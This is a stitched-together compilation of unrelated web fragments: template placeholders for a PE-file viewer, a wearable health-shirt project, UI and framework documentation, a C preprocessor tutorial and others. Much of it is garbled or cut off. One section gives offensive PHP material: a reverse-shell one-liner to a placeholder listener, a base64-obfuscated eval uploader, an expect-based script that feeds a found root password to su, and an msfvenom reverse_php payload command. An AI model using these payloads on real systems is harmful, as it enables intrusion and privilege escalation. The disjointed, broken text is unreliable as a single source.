subsystem ({{peConstants.subsystemSizeDec}} bytes) is located at offset
{{pe.is64Bit ? peConstants.subsystemPE32PlusSubOffsetDec : peConstants.subsystemPE32SubOffsetDec}} of the
NT specific fields header and has a value of
{{pe.subsystem.hexValue | hex}} ({{pe.subsystem.type | subsystem}}
- see
The
DLL characteristics ({{peConstants.dllCharacteristicsSizeDec}} bytes)
are located at offset {{pe.is64Bit ? peConstants.dllCharacteristicsPE32PlusSubOffsetDec : peConstants.dllCharacteristicsPE32SubOffsetDec}}
of the NT specific fields and have a value of
{{pe.dllCharacteristics.hexValue | hex}}. The
characteristics are documented
For PE32, the size of the NT specific fields header is {{peConstants.ntSpecificFieldsPE32SizeDec}} bytes; for PE32+ it is {{peConstants.ntSpecificFieldsPE32PlusSizeDec}} bytes.
From {{pe.dataDirectories.startOffsetDec | byte | leftpad:8}} to {{pe.dataDirectories.endOffsetDec | byte | leftpad:8}}
The Data directories describe important parts of the executable. The relevant parts are:
The sections headers point to the .text, .rsrc and .reloc sections:
From {{pe.importAddressTable.startOffsetDec | byte | leftpad:8}} to {{pe.importAddressTable.endOffsetDec | byte | leftpad:8}}
The start offset is converted from base RVA {{pe.importAddressTableDirectory.rva.rva | hex}} from the import address table of the data directories.
The import address table entry point RVA is located at file offset {{pe.iatEntryPointRva.startOffsetDec | byte | leftpad:8}} which was converted from base RVA {{pe.entryPointVa.va | hex}} from the entry point. The import address table entry point RVA has for value {{pe.iatEntryPointRva.rva | hex}}.
There is no import address table
From {{pe.cliHeader.startOffsetDec | byte | leftpad:8}} to {{pe.cliHeader.endOffsetDec | byte | leftpad:8}}
The start offset is converted from base RVA {{pe.cliHeaderDirectory.rva.rva | hex}} from the import address table of the data directories.
The CLI metadata header (8 bytes) is located at offset {{peConstants.cliMetadataHeaderDirectorySubOffsetDec}} of the CLI header. It points to a header of bytes. Using the convertor above we get the file offset {{pe.cliMetadataHeader.startOffsetDec | byte | leftpad:8}} based on the base RVA .
The CLI flags ({{peConstants.cliFlagsSizeDec}} bytes) are located at offset
{{peConstants.cliFlagsSubOffsetDec}} of the CLI header and have a value of
{{pe.cliFlags.hexValue | hex}}. The CLI flags
are leveraging
There is no CLI header
From {{pe.cliMetadataHeader.startOffsetDec | byte | leftpad:8}} to {{pe.cliMetadataHeader.endOffsetDec | byte | leftpad:8}}
The
({{peConstants.clrVersionSizeSizeDec}} bytes) is located at offset {{peConstants.clrVersionSizeSubOffsetDec}} of the and has a value of . The targeted is encoded using ASCII characters and has for value .There is no CLI metadata header
From {{pe.importTable.startOffsetDec | byte | leftpad:8}} to {{pe.importTable.endOffsetDec | byte | leftpad:8}}
The start offset is converted from base RVA {{pe.importTableDirectory.rva.rva | hex}} from the import address table of the data directories.
The managed entry point starts a file offset {{pe.managedEntryPoint.method.startOffsetDec | byte | leftpad:8}} This was converted from the import address table entry point RVA ({{pe.iatEntryPointRva.rva | hex}})
There is no import table
From {{pe.entryPoint.startOffsetDec | byte | leftpad:8}} to {{pe.entryPoint.endOffsetDec | byte | leftpad:8}}
The start offset is converted from the RVA address of entry point: {{pe.addressOfEntryPoint.rva | hex}}.
Apparently {{pe.entryPointOpCode.hexValue}} is the
There is no entry point


This component represents text.
Just like an HTML paragraph tag, this displays text.
The following attributes are available:
color
: A button color value.theme-variant
: The name of a theme variant to use for the text.value
: The text to display.wvre-text
component with no customization.


Wendy E. Mackay
Unlike the machine-readable-text abstract, this is merely an image of her thesis, so hard to search through.


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The aim of this project is to design and implement a working prototype of a system to gather health data from a compression shirt, and present the gathered data through a mobile application or web interface. The initial prototype of the shirt includes a heart rate monitor and temperature sensor.
As well as displaying data in real time, the project aims to analyse the gathered data to provide an overview of the wearer's health.
The UberVest hardware consists of two parts: a compression shirt containing electrodes and sensors, and a beltpack that contains signal processing circuits and the nRF51-DK board. These two components are modular and can be removed from each other allowing for the shirt to be hand washed.
The final design included electrodes and active low pass filtering circuitry to aquire an electrocardiogram (ECG) of the wearer of the shirt, and a sensor to allow monitoring of the wearer's temperature.
The design made use of the analogue to digital converter and Bluetooth Low Energy tranciever available in the nRF51822 microprocessor, which is included on the nRF51-DK. This allows us to read values from the analogue sensors and transmit the data on to the Android app.
The mobile app is how we read data from the device and push it to Firebase. This is done with a background thread that constantly checks for changes in the devices Bluetooth Low Energy characteristics. When a change occurs, the data is pulled from the device and converted into a standard int/float format. This data is then timestamped and pushed to Firebase for the API to process.
In the foreground, the app is displaying the data that is coming out of the API with a live ECG trace and temperature reading. The app is designed to be quick and simple to use, on the first start-up the user is taken to a log-in page. After they have entered their details the app automatically starts reading data and pushing it to Firebase, so the user doesn't have to wait or do anything complicated to start using the device.
The application interface aims to bridge the gap between the wearable device and the web interface. By focusing on processing and storage of raw sensory data received from the wearable, it allows us to decouple individual systems into the project. The primary focus of the api is on storage of relational data such as users and their respective devices as well as storage of processed data received from the wearable and making it available for future retrieval.
The API is composed of a Django application which implements a RESTful interface in order to allow the web interface to query relational data stored inside a PosgreSQL database. The same interface is also employed for storage of processed BPM data in order to allow future retrieval.
With the aim of making the project accessible in the public domain, we have deployed the application on a free tier of the OpenShift platform. This has allowed us to keep the costs down as well as make the project available to anyone.
From the diagram above, you can observe that the two data sources - PosgreSQL and Firebase are decoupled with the API serving as a bridge. Firebase is primarily used as a storage of raw data and live information whereas the relational database focuses on longer term storage of information. The architecutre of the application allows us to be flexible with information flow and provides increased development velocity.
The website provides an overview of the data being collected by the UberVest, with a live ECG trace and the last aquired temperature being shown to a signed in user.
Data displayed on the website is pulled from the UberVest API, with live data being pushed out by FirebaseL1.
Data processing and analysis consists largely of the generation of a live beats per minute (BPM) feed. Some research and experimentation on future applications of a respiratory sensor has also been completed.
The live BPM feed takes a moving window (between 4 and 15 seconds) as argument and returns a BPM value. ECG data is filtered through multiple methods to identify beats and then extrapolated to 60 seconds.
With regard to the potential future applications of the respiratory sensor, a method has been explored and tested to rank patients by their respiratory fitness and an experiment has been conducted to determine how good an indicator mean respiratory flow is of a young healthy individual's fitness.
Both in health and sport, the use of data analytics is becoming more and more popular.
One significant example of this is Calico, a Google-backed biotechnology company that has recently gained access to Ancestry.com's genetic database with the intention of using genetic and family tree related data to improve the human lifespan. Another is the usage of GPS tracking devices in Rugby.
We believe that the UberVest is could add to the possiblities of data analytics by providing an easy and comfortable way to collect data. Due to the low cost nature of the hardware used, the UberVest is accesible to everyone and not just medical professionals.
Some example applications of the UberVest:
L1. http://firebase.io ↩


--- layout: post status: publish published: true title: In Seattle this Week author: display_name: Tomas Restrepo login: tomasr email<EMAIL_ADDRESS>url: http://winterdom.com/ author_login: tomasr author_email<EMAIL_ADDRESS>author_url: http://winterdom.com/ wordpress_id: 361 wordpress_url: http://winterdom.com/2007/03/inseattlethisweek date: '2007-03-11 09:19:16 +0000' date_gmt: '2007-03-11 09:19:16 +0000' categories: - Personal tags: [] comments: - id: 270 author: Sam Gentile author_email<EMAIL_ADDRESS>author_url: http://codebetter.com/blogs/sam.gentile date: '2007-03-11 10:08:01 +0000' date_gmt: '2007-03-11 10:08:01 +0000' content: | Just read this and Tomasand I are getting coffee down in the coffee bar ---
I arrived late last night in seattle for the MVP Summit, now staying at the Westin hotel. Hopefullty this will be a great week and I'm hoping to get a chance to catch up with friends. See ya there!


Documentation
General
The network is visualized as nodes (genes) connected by edges. The size of the nodes correspond to the degree of the nodes, i.e. how many other nodes they are connected to. Edges can either be directed (indicated by an arrow), or undirected.
Network modules
Network modules can be visualized separately by choosing the id of the module to visualise. These are generally quick to load, easy to manipulate and navigate. By leaving the input empty and clicking "Visualize module", the entire network will be drawn. This is an expensive operation that will take time, and the interface will likely become very slow. Only do this if you really have to.
Gene neighborhoods
Instead of visualizing a pre-defined network module, you can also visualize the neighborhood of a particular gene. Enter the identifier of the gene that you are interested in and click "Visualize neighborhood". This will display the first degree neighbors of the gene, i.e. the genes that are connected directly to the gene of interest.
Finding genes in the network
If there are a lot of nodes in the network, it can be difficult to visually find the gene of interest. Therefore you can search for a gene in the current network, and it will be highlighted if it exists. Simply enter a gene identifier and click "Select gene of interest".
Annotations
Nodes can be colored according to Gene Ontology (GO) or protein family (Pfam) terms. Enter an annotation term ID and a the color that should be associated with it and click "Color genes of interest". The colors can be reset by clicking "Reset node colors".
One current limitation is that a node can only have one color at a time. If several terms are colored, and a gene belongs to more than one of them, the node will have the last color applied.
Hiding edges
Edges can be hidden based on whether they are directed or not. Simply check "Hide directed edges" or "Hide undirected edges".
GO enrichment
Functional enrichment can be tested by clicking the button labelled "GO enrichment". This will test for enrichment of GO terms in the currently displayed network using gofer2. The test will run in the background, and once the results are ready a table with the results will appear.
Export
The currently displayed network can be exported in GraphML format. This can be opened in most graph software, such as Gephi or Cytoscape. One caveat is however that different software might render the file differently. In some cases it might not be able to have a mix of directed and undirected edges or node names might be missing.
Citation
If you find this resource useful, please consider citing the following publication in your work:
To come…


Samsung takes a look back at how the Galaxy Fold was designed
by PeterWhile it didn’t start off well, Samsung is proud of the final design of the Galaxy Fold. It was quite a journey getting here, the company published a short account of how its first foldable phone came to be.
Over 1,000 prototypes were made out of various materials, anything from foam board to fabrics was used. The design team looked at existing foldable objects you use day to day – from books to wallets.
Eventually, they settled on an inward folding design. This maximized the protection of the Infinity Flex Display. Samsung engineers also worked on distributing the weight of the phone equally to improve in-hand feel.
The most important factor was to make the best out of two scenarios – using the phone folded and unfolded. When it’s closed, the Galaxy Fold is narrow and easy to hold. Still, there 6 cameras in total dotted around the phone, ensuring that you can always snap a photo.
When unfolded, the squarish 7.3” screen was optimized for two-handed operation. The fingerprint reader was positioned on the side, so that it’s accessible in either configuration.
As for the finish, Samsung wanted to make the Galaxy Fold feel premium (it’s a pricey device, after all), but also wanted to make the a green product, so every element of the packaging is made out of eco-friendly materials.


 Bottom

Bottom

Sed posuere consectetur est at lobortis. Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Click me

Activate a modal popover without writing JavaScript. Set data-toggle="modal-popover"
on a controller element, like a button, along with a data-target="#foo"
or href="#foo"
to target a specific
modal to toggle.
<button type="button" data-toggle="modal-popover" data-target="#myModal">Launch modal</button>
Call a modal with id myModal
with a single line of JavaScript:
$('#myModal').modalPopover(options)
A full demo of the method and events below is available on JSLint.
Options can be passed via data attributes or JavaScript. For data attributes, append the option name to data-
, as in data-backdrop=""
.
| Name | type | default | description |
|---|---|---|---|
| target | selector | none (required) |
Specifies the content for the modal popup. Bootstrap's Modal doesn't need to reference a second element, because it has no context. It's this is the dialog. Bootstrap's Popover doesn't need to reference a second element because the content is just text. It's this is the context for the popup (the element the tooltip applies to). Motal Popover needs both a context (specified by the 'target' option) and content (this). The target can be specified in several ways:
|
| placement | string|function | 'right' | how to position the popover - top | bottom | left | right |
| backdrop | boolean | true | Inherited from Bootstrap's Modal. The backdrop is the area behind the popover that when clicked, closes the dialog. Unlike modals, the popover's backdrop isn't visible. When false, the popover must be closed pragmatically. |
| keyboard | boolean | true | Closes the modal when escape key is pressed. As with Bootstrap's Modal, this only works if the dialog has focusable components. |
| remote | path | false | If a remote url is provided, content will be loaded via jQuery's
If you're using the data api, you may alternatively use the
|
| placement | string | right | Specifies where the popup appears relative to the target. Valid values are left, right, top & bottom. see demos above |
Initializes your content as a modalPopover. Accepts an optional options object
.
$('#dialog').modalPopover({ target: '#target' });
Alternatively, the data-toggle="modal-popover"
tag can be used on either the dialog or its target.
Manually toggles a modal.
$('#dialog').modalPopover('toggle')
Manually opens a modal.
$('#dialog').modalPopover('show')
Manually hides a modal.
$('#dialog').modalPopover('hide')
Several events are exposed to Modal Popover:
| Event | Description |
|---|---|
| show | This event fires immediately when the show instance method is called. |
| shown | This event is fired when the modal has been made visible to the user (will wait for css transitions to complete). |
| hide | This event is fired immediately when the hide instance method has been called. |
| hidden | This event is fired when the modal has finished being hidden from the user (will wait for css transitions to complete). |
$('#myModal').on('hidden', function () { // do something... })
Edit some data related to this context:
Sed posuere consectetur est at lobortis. Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Click me
Sed posuere consectetur est at lobortis. Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Click me
Sed posuere consectetur est at lobortis. Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Click me
Sed posuere consectetur est at lobortis. Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Click me
loading...
loading...
Loaded using JavaScript


Want to start fresh from here? Find the previous step's code in the reference code zip under cheat_code > solution_for_step5.
In this step, you will learn:
Estimated time to complete this step: 20 minutes.
To preview what you will complete in this step, jump down to the bottom of this page ↓.
This step adds an export button to the app. When clicked, the current todo items are saved to a text file selected by the user. If the file exists, it's replaced. Otherwise, a new file gets created.
File system permissions can be requested as a string for read-only access, or an Object with additional properties. For example:
// Read only "permissions": ["fileSystem"] // Read and write "permissions": [{"fileSystem": ["write"]}] // Read, write, autocomplate previous input, and select folder directories instead of files "permissions": [{"fileSystem": ["write", "retainEntries", "directory"]}]
You need read and write access.
In manifest.json, request the {fileSystem: [ "write" ] }
permission:
"permissions": ["storage", "alarms", "notifications", "webview", "<all_urls>", { "fileSystem": ["write"] } ],
In index.html, add an Export to disk button and
a div
where the app shows a status message:
 <button id="toggleAlarm">Activate alarm</button> <button id="exportToDisk">Export to disk</button>

 ...
Also in index.html, load the export.js script:
...
Create a new JavaScript file named export.js using the code below. Save it in the js folder.
(function() { var dbName = 'todos-vanillajs'; var savedFileEntry, fileDisplayPath; function getTodosAsText(callback) { } function exportToFileEntry(fileEntry) { } function doExportToDisk() { } document.getElementById('exportToDisk').addEventListener('click', doExportToDisk); })();
Right now, export.js only contains a click listener on the Export to disk button and stubs for getTodosAsText()
, exportToFileEntry
, and doExportToDisk()
.
Update getTodosAsText()
so that it reads todos from chrome.storage.local
and generates a textual representation of them:
function getTodosAsText(callback) { chrome.storage.local.get(dbName, function(storedData) { var text = ''; if ( storedData[dbName].todos ) { storedData[dbName].todos.forEach(function(todo) { text += '- '; if ( todo.completed ) { text += '[DONE] '; } text += todo.title; text += '\n'; }, ''); } callback(text); }.bind(this)); }
Update doExportToDisk()
with chrome.fileSystem.chooseEntry()
to allow the user to choose a file:
function doExportToDisk() { if (savedFileEntry) { exportToFileEntry(savedFileEntry); } else { chrome.fileSystem.chooseEntry( { type: 'saveFile', suggestedName: 'todos.txt', accepts: [ { description: 'Text files (*.txt)', extensions: ['txt']} ], acceptsAllTypes: true }, exportToFileEntry); } }
The first parameter of chrome.fileSystem.chooseEntry()
is an object of options. The second parameter is a callback method.
If there's already a saved FileEntry
,
use that instead when calling exportToFileEntry()
.
File references exist for the lifetime of the object representing the FileEntry
.
This example ties FileEntry
to the app window so the JavaScript code can write
to the selected file without any user interaction as long as the app window remains open.
Update exportToFileEntry()
to save the todos as text via the FileEntry
Web API:
function exportToFileEntry(fileEntry) { savedFileEntry = fileEntry; var status = document.getElementById('status'); // Use this to get a file path appropriate for displaying chrome.fileSystem.getDisplayPath(fileEntry, function(path) { fileDisplayPath = path; status.innerText = 'Exporting to '+path; }); getTodosAsText( function(contents) { fileEntry.createWriter(function(fileWriter) { var truncated = false; var blob = new Blob([contents]); fileWriter.onwriteend = function(e) { if (!truncated) { truncated = true; // You need to explicitly set the file size to truncate // any content that might have been there before this.truncate(blob.size); return; } status.innerText = 'Export to '+fileDisplayPath+' completed'; }; fileWriter.onerror = function(e) { status.innerText = 'Export failed: '+e.toString(); }; fileWriter.write(blob); }); }); }
chrome.fileSystem.getDisplayPath()
gets a displayable file path that outputs to the status div
.
Use fileEntry.createWriter()
to create a FileWriter
object. fileWriter.write()
can then write a Blob to the filesystem. Use fileWriter.onwriteend()
and fileWriter.onerror()
to update the status div
.
For more information about FileEntry
, read Exploring the FileSystem APIs on HTML5Rocks, or refer to the FileEntry docs
on MDN.
Advanced: FileEntry
objects cannot be persisted indefinitely. Your app needs to ask the user to choose a file every time the app is launched.
If your app was forced to restart due to a runtime crash or update,
restoreEntry()
is an option to restore a FileEntry
.
If you wish, experiment by saving the ID returned by
retainEntry()
and restoring it on app restart. (Hint: Add a listener to the onRestarted
event
in the background page.)
You are done Step 6! Reload your app and add some todos. Click Export to disk to export your todos to a .txt file.
For more detailed information about some of the APIs introduced in this step, refer to:
Ready to continue onto the next step? Go to Step 7 - Publish your app »


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This could be because you’ve followed a broken or outdated link, or because there’s an error on our site. Use the browser back button to go to the previous page.


| # | Status | Invoice | Created | Date | Due Date | Client Name | Service Wage | Total |
|---|---|---|---|---|---|---|---|---|
| {{ i + 1 }} | Open Paid Paid Overdue | {{ invoice.number }} | {{ invoice.name }} | {{ invoice.date | date }} | {{ invoice.date | dueDate | date }} | {{ invoice.client }} | {{ invoice.serviceWage | currency:currencyCode }} | {{ invoice.net | currency:currencyCode }} |


Changing your text font
After a while, you're gonna get bored of that same old font for everything. Wouldn't it be fun to change the font to something else?
To change the font:
- Click the Fonts button on the toolbar, or pull down the Font menu, and select Show Fonts (or press Command-T).
- The font panel will appear. Select the font you want in the Font Family column, the style in the Typeface column, and the size in the Size column.
- Finally, click the close button to dismiss the font panel.
Tip: Fonts can be applied immediately to selected text. |


php -r '$sock=fsockopen("<LIP>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php
$b = strrev("edoced_4" . "6esab");
eval( $b('JHVwbG9hZGRpciA9ICcuLyc7DQokdXBsb2FkZmlsZSA9ICR1cGxvYWRkaXIgLiBiYXNlbmFtZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10pOw0KDQplY2hvICI8cD4iOw0KDQppZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sICR1cGxvYWRmaWxlKSkgew0KICBlY2hvICJGaWxlIGlzIHZhbGlkLCBhbmQgd2FzIHN1Y2Nlc3NmdWxseSB1cGxvYWRlZC5cbiI7DQp9IGVsc2Ugew0KICAgZWNobyAiVXBsb2FkIGZhaWxlZCI7DQp9DQoNCmVjaG8gIjwvcD4iOw0KZWNobyAnPHByZT4nOw0KZWNobyAnSGVyZSBpcyBzb21lIG1vcmUgZGVidWdnaW5nIGluZm86JzsNCnByaW50X3IoJF9GSUxFUyk7DQpwcmludCAiPC9wcmU+Ijs=') ); ?>
On this occasion, i was lucky and i spotted a file which had a clear text root password in it. However, getting root wasnt very easy, as i could not figure out an easy way to provide this root password within the php script. In the end after searching for quite a bit, i found a way to do this in expect with the following 1 line of php script:
<?php passthru('echo -e '#!/usr/bin/expect -fnset password [lrange $argv 0 0]; set cmd [lrange $argv 1 1];set timeout -1; spawn su -c "$cmd" ;match_max 100000 ;expect "*?assword:*"; send -- "$passwordr"; send -- "r"; expect eof'>/tmp/su.exp&/usr/bin/expect /tmp/su.exp passw0rd whoami>>/tmp/out.txt');?>
This script will do the following:
1. create an expect script(/tmp/su.exp) which will take the root (su) password and command to execute as argument.
2. run the expect script with the root password and command to run as root.
Enjoy the root privileges!
P.S: it is quite common to see expect installed on *nix application servers
on the server and need to get a shell from php?
php -r 'system("/bin/bash -i");'
easy to generate the full php/reverse_php payload with
msfvenom -p php/reverse_php LHOST=<IP_ADDRESS> LPORT=1234 --smallest -b '/x34' -e php/base64


Mangenda
Hiring
Employees
Calendar
Current Employees
Employee Name
Job Title
Start Date
Months Worked
Monthly Rate ($)
Total Billed ($)
Add Employee
Add Employee
×
Employee Name
Job Title
Start Date (MM/DD/YYYY)
Monthly Rate
Save changes


Documentation
Oculux - Minimal Laravel + Bootstrap 4x admin template
Oculux is a popular open source WebApp template for admin dashboards and admin panels. It’s responsive HTML template, which is based on the Bootstrap 4X framework. It utilizes all of the Bootstrap components in design and re-styles many commonly used plugins to create a consistent design that can be used as a user interface for backend applications.
- eMail<EMAIL_ADDRESS>- Created: 01/Feb/2019
- Update: 23/April/2019
Brief Overview
Oculux is a popular Premium WebApp template for admin dashboards and admin panels.
It's responsive HTML template, which is based on the Bootstrap 4X framework. It utilizes all of the Bootstrap components in design and re-styles many commonly used plugins to create a consistent design that can be used as a user interface for backend applications.
Laravel 5.7
Laravel 5.7 is latest version of Laravel framework of PHP to develop web applications following the model–view–controller (MVC) architectural pattern and based on Symfony.
SASS Supported
SASS is completely compatible with all versions of CSS. We have included it, so that you can seamlessly use any
Valid & Clean Code
Well organized & simple to use code to facilitate your time.
Responsive Design
All the functions of this Bootstrap 4x Template are guaranteed to run smoothly with beautiful interface in every device like - Desktop, Laptop, iPad, iPhone and Retina Display
Mega Menu and Mobile Menu
Excellent mega menu is available to nevigate all the pages. Visitors can access all the pages from this menu
Easy Color Changes
Effortlessly change the color of element
- Bootstrap 4x
- Latest jQuery v3.3.1
- Built in SASS
- Light and Dark Version
- Fully Responsive
- Ready to used widget
- Detailed Documentation
- Invoice
- User Profile
- Image Gallery
- Timeline
- Summernote
- Markdown
- Many Charts Options
- Form Examples
- Form Validation
- Advanced Form Elements
- Form Wizard
- Drag & Drop Upload
- Social
- Input Slider
- Date Picker
- Drag & Drop Upload
- Image Cropping
- Sortable & Nestable
- CKEditor
Server Requirements
Please make sure your server meets the following requirements.
- PHP >= 7.1.3
- OpenSSL PHP Extension
- PDO PHP Extension
- Mbstring PHP Extension
- Tokenizer PHP Extension
- XML PHP Extension
- Ctype PHP Extension
- JSON PHP Extension
- BCMath PHP Extension
Installation
Please make sure your server meets the following requirements.
1. Download
Download the theme files from your account and place on your server.
2. Composer
Laravel project dependencies are managed through the PHP Composer tool. The first step is to install the depencencies by navigating into your project in terminal and type following command:
composer install
3. NPM/Yarn
For NPM, you have to run following command from the root of the project in terminal:
npm install
4. Change Environment Configuration Files
This package ships with a .env. file in the root of the project. Change/Update your desired variables in this file.
Reference: https://laravel.com/docs/5.7/installation
Grunt File & Installation The JavaScript Task Runner.
Installing Grunt: Run npm install grunt --save-dev
command from your teminal to install grunt within your project.
Grunt Sass: Run grunt sass
command from your project directory. It will compile SASS to CSS for the project. This will read the file `assets/scss/filename.scss` and output a plain-css file to `/assets/css/filename.css`.
Grunt JSHint: Run grunt jshint
command from your project directory. It will checks all *.js files under `assetsjs/filename` for common syntax or coding errors using the JSHint utility.
Grunt Sprite: Run grunt sprite
command from your project directory.
Further help: To get more help on the grunt checkout Grunt
Note: However, any SASS code you write must be able compile via Grunt as well.It will generate pre-compiled javascript templates. Reads all the *.html files from `assets/js/filename` and outputs `assets/js/filename.templates.js`. Template.js will contains code of UI design and will be change each time you build solution through above command.
Grunt is a JavaScript task runner, a tool used to automatically perform frequent tasks such as minification, compilation, unit testing, and linting. It uses a command-line interface to run custom tasks defined in a file.
Please note that all Detail main Web Site, you need to set it up on your project Click Here..
main.css is the main CSS file located in assets/css/ folder of the package. Whole CSS file is well indexed with topic and its related code.
 body { @include transition(all .3s ease-in-out); background-color: $body-color; font-weight: $font-weight-400; font-family: $font-family; font-size: $font-size; color: $font-color; } a { &:hover, &:focus { color: $link-color-hover; text-decoration: none; } }

We follow standard Laravel fodler structure and other created files are as following
Template assets files can be located at
/public/assets/*Routes can be located at
/routes/web.phpController files can be located at
/app/Http/Controllers/*View files can be located at
/resources/views/*Layout files can be located at
/resources/views/layout/master.blade.php/resources/views/layout/authentication.blade.php
Navigation Bar and Sidebar can be located at
/resources/views/layout/navbar.blade.php/resources/views/layout/sidebar.blade.php
Default Error page can be locate at
/resources/views/errors/404.blade.phpOculux admin.js is the mail javascript file having all the js code. File is located in assets/js/ folder. This file code is also well formatted and section in different respective function names.
Along with this chart library based js code and dashboard based js code are added in separate files for ease of use of user.
 function initSparkline() { $(".sparkline").each(function() { var $this = $(this); $this.sparkline('html', $this.data()); }); // Bar charts using inline values $('.sparkbar').sparkline('html', { type: 'bar' }); }
- Google fonts are used in the template. Krub
- Font Awesome: Click to See
- All Images are used: Pexels.com
- Animation css are used: vivify
- Bootstrap framework Bootstrap
- Jquery Jquery
- Datatables Click to See
- Full Calendar Calendar
- Sparkline Click to See
- Vector Maps Click to See
- jquery steps Click to See
- Image cropper Click to See
- Summernote Click to See
- Form Drag & Drop Click to See


Preprocessor
The C Preprocessor is not part of the compiler, but is a separate step in the
compilation process. In simplistic terms, a C Preprocessor is just a text substitution tool
and they instruct compiler to do required pre-processing before actual compilation. We'll
refer to the C Preprocessor as the CPP.
All preprocessor commands begin with a pound symbol (#). It must be the first nonblank
character, and for readability, a preprocessor directive should begin in first column.
Following section lists down all important preprocessor directives:
| Directive
| | Description
| #define |
Substitutes a preprocessor macro |
| #include |
Inserts a particular header from another file |
| #undef |
Undefines a preprocessor macro |
| #ifdef |
Returns true if this macro is defined |
| #ifndef |
Returns true if this macro is not defined |
| #if |
Tests if a compile time condition is true |
| #else |
The alternative for #if |
| #elif |
#else an #if in one statement |
| #endif |
Ends preprocessor conditional |
| #error |
Prints error message on stderr |
| #pragma |
Issues special commands to the compiler, using a standardized method |
Preprocessors Examples
Analyze following examples to understand various directives.
#define MAX_ARRAY_LENGTH 20
This directive tells the CPP to replace instances of MAX_ARRAY_LENGTH with 20.
Use #define for constants to increase readability.
#include
#include "myheader.h"
These directives tell the CPP to get stdio.h from System Libraries and add the text to the
current source file. The next line tells CPP to get myheader.h from the local directory and
add the content to the current source file.
#undef FILE_SIZE
#define FILE_SIZE 42
This tells the CPP to undefine existing FILE_SIZE and define it as 42.
#ifndef MESSAGE
#define MESSAGE "You wish!"
#endif
This tells the CPP to define MESSAGE only if MESSAGE isn't already defined.
#ifdef DEBUG
/* Your debugging statements here */
#endif
This tells the CPP to do the process the statements enclosed if DEBUG is defined. This is useful if you pass
the -DDEBUG flag to
gcc compiler at the time of compilation. This will define DEBUG, so you can turn debugging on and off on the
fly during compilation.
Predefined Macros
ANSI C defines a number of macros. Although each one is available for your use in
programming, the predefined macros should not be directly modified.
Macro Description
| __DATE__ |
The current date as a character literal in "MMM DD YYYY" format |
| __TIME__ |
The current time as a character literal in "HH:MM:SS" format |
| __FILE__ |
This contains the current filename as a string literal. |
| __LINE__ |
This contains the current line number as a decimal constant. |
| __STDC__ |
Defined as 1 when the compiler complies with the ANSI standard. |
Let's try the following example:
#include
main()
{
printf("File :%s\n", __FILE__ );
printf("Date :%s\n", __DATE__ );
printf("Time :%s\n", __TIME__ );
printf("Line :%d\n", __LINE__ );
printf("ANSI :%d\n", __STDC__ );
}
When the above code in a file test.c is compiled and executed, it produces the following
result:
File :test.c
Date :Jun 2 2012
Time :03:36:24
Line :8
ANSI :1
Preprocessor Operators
The C preprocessor offers following operators to help you in creating macros:
Macro Continuation (\)
A macro usually must be contained on a single line. The macro continuation operator is
used to continue a macro that is too long for a single line. For example:
#define message_for(a, b) \
printf(#a " and " #b ": We love you!\n")
Stringize (#)
The stringize or number-sign operator ('#'), when used within a macro definition, converts
a macro parameter into a string constant. This operator may be used only in a macro that
has a specified argument or parameter list. For example:
#include
#define message_for(a, b) \
printf(#a " and " #b ": We love you!\n")
int main(void)
{
message_for(Carole, Debra);
return 0;
}
When the above code is compiled and executed, it produces the following result:
Carole and Debra: We love you!
Token Pasting (##)
The token-pasting operator (##) within a macro definition combines two arguments. It
permits two separate tokens in the macro definition to be joined into a single token. For
example:
#include
#define tokenpaster(n) printf ("token" #n " = %d", token##n)
int main(void)
{
int token34 = 40;
tokenpaster(34);
return 0;
}
When the above code is compiled and executed, it produces the following result:
token34 = 40
How it happened, because this example results in the following actual output from the
preprocessor:
printf ("token34 = %d", token34);
This example shows the concatenation of token##n into token34 and here we have used
both stringize and token-pasting.
The defined() Operator
The preprocessor defined operator is used in constant expressions to determine if an
identifier is defined using #define. If the specified identifier is defined, the value is true
(non-zero). If the symbol is not defined, the value is false (zero). The defined operator is
specified as follows:
#include
#if !defined (MESSAGE)
#define MESSAGE "You wish!"
#endif
int main(void)
{
printf("Here is the message: %s\n", MESSAGE);
return 0;
}
When the above code is compiled and executed, it produces the following result:
Here is the message: You wish!
Parameterized Macros
One of the powerful functions of the CPP is the ability to simulate functions using
parameterized macros. For example, we might have some code to square a number as
follows:
int square(int x)
{
return x * x;
}
We can rewrite above code using a macro as follows:
#define square(x) ((x) * (x))
Macros with arguments must be defined using the #define directive before they can be
used. The argument list is enclosed in parentheses and must immediately follow the macro
name. Spaces are not allowed between and macro name and open parenthesis. For
example:
#include
#define MAX(x,y) ((x) > (y) ? (x) : (y))
int main(void)
{
printf("Max between 20 and 10 is %d\n", MAX(10, 20));
return 0;
}
When the above code is compiled and executed, it produces the following result:
Max between 20 and 10 is 20


{% extends "layout.html" %} {% block page_title %} {% endblock %} {% block content %} Index of service list pages These are task lists and sub task lists that make up services. Types of service lists: Long service list Task within long service Short service list Multi scheme list Learning to drive short service list Assessing students short service list Exporting Get help paying for childcare Register as a childminder (example with acordion) {% endblock %}
These are task lists and sub task lists that make up services.


osmdroid
Welcome to the osmdroid wiki!
Chances are good that you want to get a map up and running in your app as soon as possible. If that's the case, consider reading the following guides (they're short!) in this order.
- Include the binaries in your project:
- Walk through the tutorial
Usage Guides
Upgrades and Changes
Understanding osmdroid's architecture and design
Commonly asked questions
Other information
Committer/Staff Notes